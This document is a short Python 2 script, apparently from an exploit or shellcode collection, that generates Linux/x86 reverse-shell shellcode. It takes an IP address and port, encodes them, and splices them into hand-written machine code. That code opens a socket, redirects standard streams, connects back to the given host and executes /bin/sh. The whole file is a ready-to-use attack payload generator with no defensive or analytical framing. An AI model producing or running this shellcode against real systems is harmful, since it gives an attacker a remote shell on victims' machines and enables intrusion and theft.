Linux/x86 Reverse Shellcode Generator

shellcode_rev_gen.py

# Python Reverse Shellcode Generator
# Paste the reverse shell code and use command line args to provide port number
# python shellcode_rev_gen.py 127.1.1.1 7777

#!/bin/python

import sys
import struct
if (len(sys.argv) < 3):
    print "[#] Error: Please provide port number"
else:
    ip = sys.argv[1].split(".")
    port = sys.argv[2]
    print "[#] Generating reverse shellcode (listening ip: " + sys.argv[1] + " port: " + str(port) + ")..."
    ip_hex = "\\x"+struct.pack('<L',int(ip[0])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(ip[1])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(ip[2])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(ip[3])).encode('hex')[:2]
    port_hex = "\\x"+struct.pack('<L',int(port)).encode('hex')[2:4]+"\\x"+struct.pack('<L',int(port)).encode('hex')[:2]
    shellcode = "\\x31\\xc0\\x50\\x40\\x89\\xc3\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\x89\\xf3\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68" + ip_hex + "\\x66\\x68" + port_hex + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xb3\\x03\\xb0\\x66\\xcd\\x80\\x31\\xc9\\x89\\xca\\x51\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\xb0\\x0b\\xcd\\x80\\xb0\\x01\\x89\\xc3\\xcd\\x80"

    print shellcode